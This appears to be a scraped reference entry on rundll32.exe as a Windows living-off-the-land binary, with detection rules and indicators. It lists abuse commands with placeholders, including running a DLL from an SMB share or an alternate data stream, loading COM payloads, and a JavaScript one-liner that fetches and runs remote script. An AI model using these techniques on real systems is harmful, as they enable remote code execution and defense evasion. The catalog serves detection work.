Used by Windows to execute dll files Located at: C:\Windows\System32\rundll32.exe; C:\Windows\SysWOW64\rundll32.exe.
rundll32 rundll32 Sandbox: execFile · Timeout: 30s
security.execution.command system.file.alternate-data-stream Outputs
process.output Command execution output
filesystem_writeprocess_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | low |
| Disk I/O | low |
First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute. (Execute DLL file)
rundll32.exe {PATH},EntryPoint Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute. (Execute DLL from SMB share.)
rundll32.exe {PATH_SMB:.dll},EntryPoint Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script. (Execute code from Internet)
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}") Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS). (Execute code from alternate data stream)
rundll32 "{PATH}:ADSDLL.dll",DllMain Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID. (Execute a DLL/EXE COM server payload or ScriptletURL code.)
rundll32.exe -sta {CLSID} | Type | Rule / Indicator |
|---|---|
| sigma | https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml |
| sigma | https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml |
| elastic | https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml |
| ioc | Outbount Internet/network connections made from rundll32 |
| ioc | Suspicious use of cmdline flags such as -sta |
rundll32 is a Windows LOLBin. Used by Windows to execute dll files Located at: C:\Windows\System32\rundll32.exe; C:\Windows\SysWOW64\rundll32.exe.